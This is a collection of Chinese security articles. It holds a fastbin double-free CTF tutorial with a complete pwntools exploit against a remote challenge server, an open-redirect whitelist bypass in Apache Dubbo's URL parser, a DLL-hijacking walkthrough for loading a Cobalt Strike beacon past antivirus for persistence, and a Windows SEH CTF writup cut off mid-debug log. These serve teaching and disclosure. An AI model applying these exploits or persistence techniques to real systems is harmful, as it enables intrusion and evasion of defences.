HackerOne还在投资其他黑客社区，以便继续发展壮大，并不断与全球的安全团队展开密切合作，帮助他们实现目标。团结一心，无坚不摧。
### 11.1 黑客聚焦：Brett
### 11.2 方法论
HackerOne在2017年12月，对来自195个国家和地区的1700多名黑客进行了调查。这些接受调查的黑客，都曾经在HackerOne上至少提交过1个有效安全漏洞。部分调查结果是从HackerOne平台上收集而来，这些数据来源与900多个漏洞奖励计划和漏洞披露计划。
### 11.3 关于HackerOne
HackerOne是全球排名第一的安全平台，帮助各种组织在受到攻击前了解并修复关键漏洞。我们合作过的组织包括：美国国防部、美国分析事务局、推特、GitHub、任天堂、松下、高通、Square移动支付、星巴克、Dropbox和许多国家的互联网应急中心（CERT）。目前有1000多个组织信任HackerOne所提交的漏洞。同时，HackerOne已经帮助客户修复了超过57000个漏洞，并已累计发放2.3亿美元的漏洞奖励。HackerOne总部位于旧金山，在伦敦和荷兰设有办事处。
让互联网变得更加安全，是每一位白帽黑客应该坚持的使命。 | 社区文章 |
最近一直在学习堆的利用，我是按照蓝莲花战队队员Atum
的规划路线进行学习的，感觉大佬介绍的方法和路线相当好，让我这个萌新成长了不少。我将继续按照他的这个规划走下去，当然，肯定少不了自己的摸索，毕竟规划只是一个方向，最重要的还是自己去实践。我会继续把我的学习过程和心得分享出来，方便那些像我这样的菜鸟可以更快的成长起来。值得注意的是，在学习堆的漏洞利用之前，应该先读一读《glibc内存管理ptmalloc源代码分析.pdf》的内容。
# fastbin double free
## double free 原理
简单的说，double free
是任意地址写的一种技巧，指堆上的某块内存被释放后，并没有将指向该堆块的指针清零，那么，我们就可以利用程序的其他部分对该内存进行再次的free，有什么用呢？利用这个漏洞，我们可以达成任意地址写的目的。
为了照顾萌新，我再温习一下基本概念，大佬可以忽视。
malloc_chunk 的源码如下：
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /*前一个chunk的大小*/
INTERNAL_SIZE_T size; /*当前chunk的大小*/
struct malloc_chunk * fd; /*指向前一个释放的chunk*/
struct malloc_chunk * bk; /*指向后一个释放的chunk*/
}
《glibc内存管理ptmalloc源代码分析.pdf》中要用到的关于fastbin回收机制相关知识点如下：
### 1.free函数
free()函数free掉chunk时先判断 chunk 的大小和所处的位置，若 chunk_size <= max_fast，并且 chunk 并不位于
heap 的顶部，也就是说并不与 top chunk 相邻，则将 chunk 放到 fast bins 中，chunk 放入到 fast bins
中，释放便结束了，程序从 free()函数中返回。
### 2.ptmalloc 的响应
判断所需分配chunk的大小是否满足chunk_size <= max_fast (max_fast 默认为 64B)， 如果是的话，先尝试在 fast
bins 中取一个所需大小的 chunk 分配给用户。
## double free 利用思路
fastbin 是 LIFO 的数据结构，使用单向链表实现。根据fastbin 的特性，释放的chunk 会以单向链表的形式回收到fastbin
里面，我们先free同一块chunk 两次，然后malloc
大小一样对的chunk，此时这个内存块还是在fastbin上面的，这时我们就可以肆意修改fd指针了，让它指向我们想指向的地方，然后再进行2次malloc大小一样的堆块，我们可以分配到fd所指的的内存区域块，即我们想要控制的内存块。
但操作系统有相应的检查，直接free两次是不行的，但根据它检查的特性，我们只要伪造一个chunk
就可以绕过检查，绕过检查的原理如下图所示，菜鸟我画的，请大师傅们别喷哈。参考的资料<https://blog.csdn.net/zh_explorer/article/details/80307030>
其中，chunk1 是要double free 的内存块，chunk2 是我们伪造的堆块，第一个单向链表是进行三次的free后fastbin
链表，第二个单向链表经过malloc （chunk1的大小），第三个单向链表经过了三次malloc，要注意的是每次malloc
都应该要返回相应的chunk才能达到我们的目的，所以每次malloc 的大小最好是一样的 。
## 实例：ByteCTF 2019 Mulnote
这道题完全是为学习double free 原理提供的，漏洞清晰，套路明显。
首先checksec，开启NX
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
题目提供了一个选择栏目
存在double free 漏洞的函数
思路分析：多线程，存在double free 漏洞，所以可以先申请一个0x80 的chunk0，释放后show （chunk0），泄露libc
地址，然后利用double free 实现任意地址写，然后修改__malloc_hook 为execue。
### 1.泄露libc 地址
add(0x80,'abc')
delete(0)
show(0)
p.recvuntil("[*]note[0]:\n")
address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))
print "address:" + hex(address)
libc_Addr = address-(0x7ffff7bb4b78-0x7ffff77f0000)
这里利用了unsorted bin 的特性泄露libc地址。
### 2.利用double free,修改__malloc_hook
add(0x60,'/bin/sh') #1
add(0x60,'/bin/sh') #2
delete(1)
delete(2)
delete(1)
add(0x60,p64(hackadd)) #3
add(0x60,'/bin/sh\x00') #4
add(0x60,p64(hackadd )) #5
add(0x60,'a'*0xb+'a'*0x8+p64(one))
这里add(0x60,'a' _0xb+'a'_ 0x8+p64(one)) 的时候要注意调试，因为我们想控制的malloc _hook
的这块内存必须要满足chunk的size 域才能成功的malloc，这里需要自己动手去实践，看malloc_hook
函数附件的内存区域是否满足。这里贴出我调试的满足区域。
所以：hackadd = 0x7ffff7bb4b10 - 0x20 - 0x3 = __malloc_hook - 0x20 - 0x3
完整exp：
from pwn import*
#p = process("./mulnote")
p = remote("112.126.101.96",9999)
a = ELF("./libc.so")
context.log_level = 'debug'
def add(leng,content):
p.recvuntil(">")
p.sendline("C")
p.recvuntil("size>")
p.sendline(str(leng))
p.recvuntil("note>")
p.sendline(content)
def edit(idx):
p.recvuntil("[Q]uit\n>")
p.sendline("C")
p.recvuntil("index>")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("[Q]uit\n>")
p.sendline("R")
p.recvuntil("index>")
p.sendline(str(idx))
def show(idx):
p.recvuntil("[Q]uit\n>")
p.sendline("S")
add(0x80,'abc')
#gdb.attach(p,'b *0x5555555558ae')
delete(0)
show(0)
p.recvuntil("[*]note[0]:\n")
address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))
print "address:" + hex(address)
libc_Addr = address-(0x7ffff7bb4b78-0x7ffff77f0000)
__malloc_hook=libc_Addr+a.symbols['__malloc_hook']
system = a.symbols['system'] + libc_Addr
print "system :" + hex(system)
#0x7ffff7835390#\0x45216#0x4526a0xf02a4#0xf1147
one = libc_Addr+0x4526a#0x45216#0x4526a#0xf02a4#0xf1147
hackadd = __malloc_hook-0x20-0x3
add(0x60,'/bin/sh') #1
add(0x60,'/bin/sh') #2
delete(1)
delete(2)
delete(1)
free_got = 0x201F58
bss = 0x202010
add(0x60,p64(hackadd)) #3
add(0x60,'/bin/sh\x00') #4
add(0x60,p64(hackadd )) #5
add(0x60,'a'*0xb+'a'*0x8+p64(one))
#gdb.attach(p)
#add(0x60,'a'*0xb)
p.recvuntil(">")
p.sendline("C")
p.recvuntil("size>")
p.sendline(str(0x60))
p.interactive()
## 学习体会
堆的漏洞利用真的是一门艺术，感觉基础知识比较重要，如果不熟悉相关数据结构，到后续的堆喷和堆风水等内容学习会比较吃力，所以建议真的要好好把基础知识学懂弄通。fastbin
double free 只是刚刚开始而已，后续还会分享更多精彩内容。题目和学习资料见附件。 | 社区文章 |
# 白名单，被谁绕过了？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 起因
近期在内网发现了有个应用之前的开放重定向漏洞的绕过，通过这个漏洞绕过，我又发现了
[apache/dubbo](https://github.com/apache/dubbo) 的一个有意思的问题以及 URL 相关的话题。
之前，给内网应用提交过一个开放重定向漏洞，后面又发现这个开放重定向漏洞存在一个绕过方法。假设一个恶意 URL 为
`https://evailhost#[@whitehost](https://github.com/whitehost
"@whitehost")`，那么这个恶意链接依然可以实现跳转。开发说他们已经做过了白名单限制，理论上应该不存在被绕过的可能了。那么我就去看了下代码，对于重定向地址进行验证的代码类似如下。
public static String checkUrlSafety(String url, List<String> domainWhitelistSuffix, String domainWhitelist) {
Url url2 = null;
try {
url2 = UrlUtils.parseURL(url, null);
} catch (Exception e) {
}
String host = url2.getHost();
if (verifyDomain(host, domainWhitelistSuffix, domainWhitelist)) {
return url;
} else {
...
}
}
private static boolean verifyDomain(String host, List<String> domainWhitelistSuffix, String domainWhitelist) {
return domainWhitelist.contains(host) || verifyDomainSuffix(host, domainWhitelistSuffix):
}
## apache/dubbo 的问题
核心代码其实主要就是上面两个函数，主要是通过 `verifyDomain`
方法来进行白名单的过滤，那么问题就很有可能出现在这里。这里，值得注意的是，`host` 是通过 `UrlUtils.parseURL` 解析出来的
`URL` 获取的。这个方法是开源仓库 [apache/dubbo](https://github.com/apache/dubbo) 的，组件版本是
2.7.8，是最新的版本。可以简单的通过一个 demo 代码来验证一下问题所在。
import org.apache.dubbo.common.URL;
import org.apache.dubbo.common.utils.UrlUtils;
public class Main {
public static void main(String[] args) throws Exception {
String[] whiteHosts = new String[]{"whitehost"};
String evilUrl = "https://evilhost#@whitehost";
URL url = UrlUtils.parseURL(evilUrl, null);
System.out.println(url.getHost());
System.out.println(whitehostCheck(whiteHosts, url.getHost()));
java.net.URL url1 = new java.net.URL(evilUrl);
System.out.println(url1.getHost());
System.out.println(whitehostCheck(whiteHosts, url1.getHost()));
}
private static boolean whitehostCheck(String[] whiteHosts, String hostToCheck) {
for(String host: whiteHosts) {
if (host.equals(hostToCheck)) {
return true;
}
}
return false;
}
}
上面的执行结果是：
evilhost
false
whitehost
true
很明显，问题出现在 `parseURL` 这个方法上，它错误地解析了这个链接的 host，如果这个链接中包含 `@` 符号（在实际利用场景中还需要配合
`#` 符号进行利用，这个在后文还会提到）。那么下面就看看这个 `parseURL` 方法，这个函数位于
[`org.dubbo.common.utils.UrlUtils.java`](https://github.com/apache/dubbo/blob/2d9583adf26a2d8bd6fb646243a9fe80a77e65d5/dubbo-common/src/main/java/org/apache/dubbo/common/utils/UrlUtils.java#L67)
中。不如打个断点，进去看看。
在 `parseURL` 方法中并没有特别之处，到这处 `URL u = URL.valueOf(url);`，进入到 `valueOf` 这个函数中。
上面的逻辑就是如果 url 中包含 `@` 符号的话，那么就先解析出 `username` 为 `evailhost#`，从而得出 host 为
`whitehost`。正是因为这一步解析导致解析出的 host
不正确。关于这个问题，我也一直很纠结这到底算不算一个安全漏洞。不过仔细想想，严格意义上这还不能算作一个安全漏洞，更应该算是一个
bug。我一开始有写一个报告提供给 dubbo 的官方安全邮箱，不过一直没有收到回复，后来还是给他们的仓库提了一个
[issue](https://github.com/apache/dubbo/issues/7103)。我的修复建议是 `valueOf`
里面的逻辑就不要自己去造轮子实现了，还不如使用 JDK 的方法去解析 URL。
## URL 的其它门道
那么关于这个绕过是不是就到此结束了，并没有，通过这个问题我也发现了好几个有意思的点，下面我将一一分享。
## @ 符号
首先，先谈谈 url 中的 `@` 符号，在上文提到过，这个开放重定向的利用需要配合 `#` 符号。为什么呢？如果仅仅通过 `@`
符号是可以通过白名单校验的。假如 url 为
`http://evilhost[@whitehost](https://github.com/whitehost
"@whitehost")`，那么解析出的 URL 的 host 为 `whitehost`，因此是可以通过白名单校验的。但是在重定向的时候，只会重定向到
`whitehost` 下，这样就达不到攻击的目的了。我有创建一个 [spring-demo](https://github.com/madneal)
项目来验证。
@GetMapping(value = "/redirect")
public RedirectView redirect(@RequestParam String service) {
System.out.println(service);
RedirectView view = new RedirectView();
view.setUrl(service);
return view;
}
对于 `redirect` 接口，请求
`http://localhost:8080/redirect?service=https://[[email protected]](mailto:[email protected])`，它会重定向到
`github.com` 而不是 `baidu.com`。原因在于 `@` 符号前面的内容会被认为是账号部分。
## # 符号
聊完 `@` 符号，还要说说 `#` 符号。假设下面两个链接：
* http://evilhost#@whitehost
* http://evilhost%23@whitehost
`%23` 是 `#` 符号 url 编码的结果，那么这两个链接的结果会是一样的吗？答案是否定的，因为对于浏览器来说，或者说 url 的标准规范来说，`#`
和 `%23` 有着截然不同的含义。
在 url 中，`#` 部分的内容被称为
fragment，一般是用于定位页面的内容，像一般页面中的一级标题二级标题，经常是通过这个来进行定位的。这个符号在目前前端框架中的单页面应用也有着广泛的使用。所以，如果传入的参数是
`http://evilhost#[@whitehost](https://github.com/whitehost
"@whitehost")`，那么实际传入的仅仅只是 `http://evilhost`。
大部分语言或者 web 服务已经实现了对 url 中 url 编码的内容自动进行 url 解码。尝试过 spring boot 以及 golang
之后，发现这二者创建的服务都支持 url 解码。
@GetMapping(value = "/cas")
public String test(@RequestParam String service) {
System.out.println(service);
return "";
}
如果请求
`http://localhost:8080/cas?service=http://evilhost%23[@whitehost](https://github.com/whitehost
"@whitehost")`，那么后台实际接收到的参数将是
`http://evilhost#[@whitehost](https://github.com/whitehost
"@whitehost")`。另外尝试了 golang 搭建的 web 服务，其结果是一致的。
package main
import (
"io"
"log"
"net/http"
"fmt"
)
func main() {
helloHandler := func(w http.ResponseWriter, req *http.Request) {
host, _ := req.URL.Query()["host"]
fmt.Println(host)
io.WriteString(w, "Hello, world!\n")
}
http.HandleFunc("/hello", helloHandler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
## 总结
通过这次的开放重定向的绕过，发现了很多很有意思的问题。即使可能看起来微不足道的问题，可能也会暗含玄机。由于开发使用了 dubbo 中的 `parseURL`
方法去解析 url，从而导致白名单的校验被绕过，这可能是开发也没有预料到的。对于某些方法，如果研究的比较深入，的确是会有一些未预料到的影响。 | 社区文章 |
# D盾dll劫持利用
## 原理
我个人的理解是：通过一些方法来劫持或者替换原程序运行时调用的dll，欺骗程序加载该恶意dll。
## 利用途径
dll劫持可用来做权限维持，钓鱼攻击等等。(当然师傅们肯定还有其他骚思路，这里不一一举例)
## 漏洞挖掘
1、运行D盾客户端（我这里是v.2.1.5.4），使用Process Explorer查看程序加载了哪些dll。
2、在这里还需要介绍下 **SafeDllSearchMode** 和 **KnownDLLs**
，前者是windows针对dll劫持设置的安全机制，后者包含了系统中常见的dll，但如果在该注册表：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs，创建KnownDLLs中同名dll并指定位置，同名dll将保护失效。(具体原理请自行百度)
3、检测方式
* 从这些加载的dll查看有没有KnownDLLs中不存在的dll项，如果有可以使用K8大佬的K8dllhijack.dll直接改成该dll名，放入程序目录下运行程序即可(查看是否有不存在项，可以使用Process Monitor比较方便)
* 如果没有不存在KnownDLLs中的项（即都为SUCCESS），使用开源的自动化检测工具Rattler进行检测
<https://github.com/sensepost/rattler/releases/tag/v1.0>
* 再如果Rattler也检测不出来呢，放弃(划掉)，使用ChkDllHijack.exe
使用Process Explorer导入D盾的dll路径，然后用该工具加载即可，一顿操作后显示winsta.dll存在劫持。
使用Rattler中的payload.dll改名为winsta.dll,运行D盾弹出计算器，没毛病铁子们！
## 权限维持-ByPass火绒
按说到上面了我是已经写完了，但怕各位表哥的水遁术喷死，我就再挤点牙膏，使用轮子哥的Dll(IAT)来实现CS上线。(IAT这个工具我实在忘了是哪找到的，所以没链接呀，各位大表哥自己找找，我这个还报毒，害怕)
把CS生成的shellcode复制到工具中生成dll
把这两个文件拖入D盾运行文件夹，wwwcomw.dll改为winsta.dll，点击劫持文件，然后运行D盾,cs已经上线，火绒无反应。
由于D盾大多设置自启，可以通过该方式进行权限维持。
## 结语
该漏洞已经提交cnvd，文章只用来讨论技术，切勿用在非法途径！！！ | 社区文章 |
作者：[k0shl](https://whereisk0shl.top/post/hitb_gsec_ctf_babystack_writeup
"k0shl")
#### 前言
今天给大家带来的是 HITB GSEC Win PWN 的 babystack 的解题全过程，关于 babyshellcode
的解题过程已经过更新在[前文](https://paper.seebug.org/378/ "前文")里。
在 babystack 中用到的一些 babyshellcode 中提到的知识点，这里就不再进行赘述，请参考上一篇文章，在 babystack
里的漏洞品相比 babyshellcode 的要好，可利用点很清晰也很简单，但是攻击面却比 babyshellcode 要小很多，babystack
的考点是 seh 中基本域 prev 域和 handler 域之外的扩展域 scope table，以及 VCRUNTIME140.dll 中关于
`_except_handler4_comm` 函数处理的分析。同样非常经典，非常好玩，下面我们一起进入 babystack
的解题过程，同时这篇文章结束后关于两道 Win Pwn 的分析就结束了，我将两道题目打包上传到 github，感谢阅读。请师傅们多多指教。
#### BabyStack Writeup with Scope Table
babystack这道题看上去攻击面还是很明显的，首先是一处栈溢出。
v4 = strcmp(&v6, "yes");
if ( v4 )
v4 = -(v4 < 0) | 1;
if ( v4 )
{
v3 = strcmp(&v6, "no");
if ( v3 )
v3 = -(v3 < 0) | 1;
if ( !v3 )
break;
sub_401000((int)&v6, 256);//key!!
}
`sub_401000` 是一个拷贝函数，拷贝的目标是 v6 所在的地址，长度是 256，也就是 0x100，这里长度太长了，已经超过 v6
开辟的栈空间大小，会造成栈溢出。
int __cdecl sub_401000(int a1, int a2)
{
int i; // [sp+0h] [bp-8h]@1
char v4; // [sp+7h] [bp-1h]@2
for ( i = 0; ; ++i )
{
v4 = getchar();
if ( i == a2 )
break;
if ( v4 == 10 )
{
*(_BYTE *)(i + a1) = 0;
return i;
}
*(_BYTE *)(i + a1) = v4;
}
return i;
}
在函数入口，会直接打印目标栈地址和主函数地址，因此也不怕栈地址改变和ASLR了。
sub_401420("stack address = 0x%x\n", &v6);
sub_401420("main address = 0x%x\n", sub_4010B0);
在进入函数之后，如果输入yes，v4为0，不会进入下面的if语句，而是进入else语句，如果输入非yes，非no，则会进入if语句引发栈溢出，而这个else语句中的功能可以泄露内存地址中存放的内容。
else
{
puts("Where do you want to know");
v2 = (_DWORD *)sub_401060();
sub_401420("Address 0x%x value is 0x%x\n", v2, *v2);//v2是地址，*v2是地址中存放的内容
}
而 `sub_401060` 中返回值会通过 atoi，将想转换的内容，转换成一个int型数字。
int sub_401060()
{
⋯⋯
sub_401000((int)&Str, 15);
return atoi(&Str);
}
所以这里如果想得知地址的值的话，需要将目标地址的十六进制转换成十进制输入，同时，这里如果atoi转换的是一个非数字型数字，那么转换会失败，程序会进入异常处理seh。
在sub_4010b0函数中，同时还隐藏着直接获得交互shell的system('cmd')，在f5之后没有显示。
.text:0040138D push offset Command ; "cmd"
.text:00401392 call ds:system
因此，我们也不需要考虑 DEP 和 shellcode 了，如果能够控制
eip，通过之前我们泄露出的函数地址，算出偏移，直接跳转到system（"cmd"），就可以直接完成攻击了。怎么样，这个题目漏洞品相都非常好，看着非常简单吧（事实证明我还是too
young too naive了）。
最后有个小限制，就是输入点有一个 for 循环，只有10次输入的机会，因此如果我们要泄露任意地址内存的话，必须要泄露对利用有影响的内存值，来对栈做 fix。
for ( i = 0; i < 10; ++i )
{
puts("Do you want to know more?");
sub_401000((int)&v6, 10);
v4 = strcmp(&v6, "yes");
if ( v4 )
v4 = -(v4 < 0) | 1;
if ( v4 )
{
v3 = strcmp(&v6, "no");
if ( v3 )
v3 = -(v3 < 0) | 1;
if ( !v3 )
break;
sub_401000((int)&v6, 256);
}
else
{
puts("Where do you want to know");
v2 = (_DWORD *)sub_401060();
sub_401420("Address 0x%x value is 0x%x\n", v2, *v2);
}
}
乍一看，这些很明显的漏洞，品相比 babyshellcode 要好很多，但实际上，利用点却比 babyshellcode 要少太多。
首先，这里假如没有 `MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE` 的条件限制，也没有机会给我们一个堆空间存放
shellcode，其次在这道题目中没有 scmgr.dll 这个 no safeseh 的dll，提供我们一个 RtlIsValidHandler
可信的空间做跳转的跳板，因此我们也不能通过构造 babyshellcode 那种 pointer to next chain 和 fake seh
handler to dll 的结构来控制 eip。
总结梳理一下可利用的点，首先可以泄露任意地址的内容，其次我们拥有一个栈溢出，可以覆盖到 seh
chain，然后我们可以通过泄露地址位置来触发异常，让程序进入 seh 异常处理，这里我们也考虑过用覆盖返回地址的方法，因为就算有
GS，我们也可以通过泄露地址值来获得 GS 的值，但程序最后 ret 的方法是 exit。
ms_exc.registration.TryLevel = -2;
puts("I can tell you everything, but I never believe 1+1=2");
puts("AAAA, you kill me just because I don't think 1+1=2??");
exit(0);
exit 的时候会做一个栈切换，因此栈溢出覆盖的 ret addr，我们没法在 exit 的时候用，因此似乎我们的攻击面只有攻击 seh 异常处理函数了。
最开始，我们考虑的是像 babyshellcode 一样，泄露 prev 域，再控制 seh handler 跳转到刚才我们找到的
system("cmd") 中，但实际情况并没有那么简单，因为 scope table。
在之前 babyshellcode 中，基本的 `_EXCEPTION_REGISTRATION` 只有两个域，prev 域和 handler 域。
struct _EXCEPTION_REGISTRATION{
struct _EXCEPTION_REGISTRATION *prev;
void (*handler)( PEXCEPTION_RECORD,
PEXCEPTION_REGISTRATION,
PCONTEXT,
PEXCEPTION_RECORD);
但实际上，我们可以扩展异常处理帧结构，也就是 scopetable 域，在 babystack 的主函数中，scopetable
域被加密初始化并放入了栈中。
0:000> p
eax=001efa64 ebx=7ffdc000 ecx=001efa00 edx=00000000 esi=609d6314 edi=002a7b60
eip=002610cc esp=001ef95c ebp=001efa2c iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
babystack+0x10cc://获取security cookie
002610cc a104402600 mov eax,dword ptr [babystack+0x4004 (00264004)] ds:0023:00264004=d3749a3a
0:000> p//会和scopetable的值做亦或运算
eax=d3749a3a ebx=7ffdc000 ecx=001efa00 edx=00000000 esi=609d6314 edi=002a7b60
eip=002610d1 esp=001ef95c ebp=001efa2c iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
babystack+0x10d1:
002610d1 3145f8 xor dword ptr [ebp-8],eax ss:0023:001efa24=00263688
0:000> r eax//security cookie
eax=d3749a3a
0:000> dd ebp-8 l1
001efa24 00263688
0:000> p
eax=d3749a3a ebx=7ffdc000 ecx=001efa00 edx=00000000 esi=609d6314 edi=002a7b60
eip=002610d4 esp=001ef95c ebp=001efa2c iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
babystack+0x10d4:
002610d4 33c5 xor eax,ebp
0:000> dd ebp-8 l1//加密后的scopetable
001efa24 d352acb2
我们可以看到，加密的方法是将scopetable指针和security cookie做了一个亦或运算。
.text:004010CC mov eax, ___security_cookie
.text:004010D1 xor [ebp+ms_exc.registration.ScopeTable], eax
而 security cookie 是一个全局变量存放在 babystack+0x4004 的位置，之前我们已经聊到 babystack
可以泄露任意地址值，因此 security cookie 是完全可以泄露出来的。
.data:00404004 ___security_cookie dd 0BB40E64Eh ; DATA XREF: sub_401060+6r
.data:00404004 ; sub_4010B0+1Cr ...
接下来，我们就要来看一看这个Scope Table了，首先指向它的指针是在ebp-8的位置存放的，来看一下在异或运算前栈的情况。
0:000> dd ebp-8
001efa24 00263688 fffffffe 001efa74
这个值是在 `sub_4010b0` 函数入口处被推入栈中的。
.text:004010B0 push ebp
.text:004010B1 mov ebp, esp
.text:004010B3 push 0FFFFFFFEh//先推入0xfffffffe
.text:004010B5 push offset stru_403688//推入scope table
.text:004010BA push offset sub_401460
scope table 指针指向的是一个 stru_403688 结构，是一个全局变量，直接来看一下这个结构。
.rdata:00403688 stru_403688 dd 0FFFFFFE4h ; GSCookieOffset
.rdata:00403688 ; DATA XREF: sub_4010B0+5o
.rdata:00403688 dd 0 ; GSCookieXOROffset ; SEH scope table for function 4010B0
.rdata:00403688 dd 0FFFFFF20h ; EHCookieOffset
.rdata:00403688 dd 0 ; EHCookieXOROffset
.rdata:00403688 dd 0FFFFFFFEh ; ScopeRecord.EnclosingLevel
.rdata:00403688 dd offset loc_401348 ; ScopeRecord.FilterFunc
.rdata:00403688 dd offset loc_40134E ; ScopeRecord.HandlerFunc
其实关于 Scope table 的描述在这里已经很清楚了，我们直接来看一下实际情况下 scope table 表。
0:000> dd 00263688
00263688 ffffffe4 00000000 ffffff20 00000000
00263698 fffffffe 00261348 0026134e 00000000
002636a8 fffffffe 00000000 ffffffcc 00000000
002636b8 fffffffe 002616ad 002616c1 00000000
接下来我们就需要来看看这个 scope table 到底我们该怎么利用，这个涉及到 `_except_handler4` 异常处理函数，在
babystack 中，异常处理函数中会调用 `VCRUNTIME140!_except_handler4_common`。
0:000> t
eax=00000000 ebx=00000000 ecx=01101460 edx=770b6d8d esi=00000000 edi=00000000
eip=01101fe2 esp=0012f8b8 ebp=0012f8d4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babystack+0x1fe2:
01101fe2 ff2538301001 jmp dword ptr [babystack+0x3038 (01103038)] ds:0023:01103038={VCRUNTIME140!_except_handler4_common (651fb2f0)}
0:000> p
eax=00000000 ebx=00000000 ecx=01101460 edx=770b6d8d esi=00000000 edi=00000000
eip=651fb2f0 esp=0012f8b8 ebp=0012f8d4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!_except_handler4_common:
651fb2f0 55 push ebp
在 `VCRUNTIME140!_except_handler4_common` 函数中，会栈进行很多操作，比如全局栈展开，以前的栈回收等等，而最后会调用
terminal func，也就是 handler function。
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=0012ff18 esi=0110134e edi=fffffffe
eip=651faf58 esp=0012f888 ebp=0012ff18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!_EH4_TransferToHandler+0x13:
651faf58 33d2 xor edx,edx
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0110134e edi=fffffffe
eip=651faf5a esp=0012f888 ebp=0012ff18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!_EH4_TransferToHandler+0x15:
651faf5a 33ff xor edi,edi
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0110134e edi=00000000
eip=651faf5c esp=0012f888 ebp=0012ff18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!_EH4_TransferToHandler+0x17:
651faf5c ffe6 jmp esi {babystack+0x134e (0110134e)}
也就是说，如果我们可以控制 handler function，就可以通过 jmp esi 来控制 eip 了！
这时候有同学会问，直接把进程函数的地址（也就是刚才提到的函数里有一处 system('cmd') 调用地址）覆盖 seh handler
不行吗？safeseh 是不允许通过的。
0:000> g//触发异常
(18f074.18f078): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=7ffd7000 ecx=de5c2bcc edx=00000009 esi=5ffb6314 edi=00297b60
eip=000a1272 esp=0028f9d0 ebp=0028fab0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for babystack.exe
babystack+0x1272:
000a1272 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????
0:000> !exchain
0028faa0: babystack+138d (000a138d)//seh handler被修改成指向system('cmd')
0028fae8: babystack+1460 (000a1460)
0028fb34: ntdll!_except_handler4+0 (7708e195)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (770e790b)
func: ntdll!__RtlUserThreadStart+63 (770e7c80)
Invalid exception stack at ffffffff
关于 safeseh 的伪代码在我上篇 babyshellcode 文章中已经贴出了，这里不再贴详细代码，关键部分在这里。
if (handler is in an image)//进入这里
{ // 在加载模块的进程空间
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE; // 该标志设置，忽略异常处理，直接返回FALSE
if (image has a SafeSEH table) // 是否含有SEH表
if (handler found in the table)
return TRUE; // 异常处理handle在表中，返回TRUE
else
return FALSE; // 异常处理handle不在表中，返回FALSE
首先我们要跳转到 system('cmd') 的地址空间就在当前进程空间中，所以会进入第一个if处理逻辑，随后会检查 safeseh table。
0:000> p//获取safeseh table
eax=0028f4d8 ebx=000a138d ecx=0028f4dc edx=770b6c74 esi=0028f580 edi=00000000
eip=7708f834 esp=0028f4a0 ebp=0028f4e8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlIsValidHandler+0x21:
7708f834 e85c000000 call ntdll!RtlLookupFunctionTable (7708f895)
0:000> p
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=0028f580 edi=00000000
eip=7708f839 esp=0028f4ac ebp=0028f4e8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlIsValidHandler+0x26:
7708f839 33ff xor edi,edi
0:000> p//eax存放的是当前进程的safeseh表
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=0028f580 edi=00000000
eip=7708f83b esp=0028f4ac ebp=0028f4e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlIsValidHandler+0x28:
7708f83b 8945f4 mov dword ptr [ebp-0Ch],eax ss:0023:0028f4dc=770b5c1c
0:000> p//如果没有返回0，和0作比较，现在有
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=0028f580 edi=00000000
eip=7708f83e esp=0028f4ac ebp=0028f4e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlIsValidHandler+0x2b:
7708f83e 3bc7 cmp eax,edi
0:000> p
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=0028f580 edi=00000000
eip=7708f840 esp=0028f4ac ebp=0028f4e8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlIsValidHandler+0x2d:
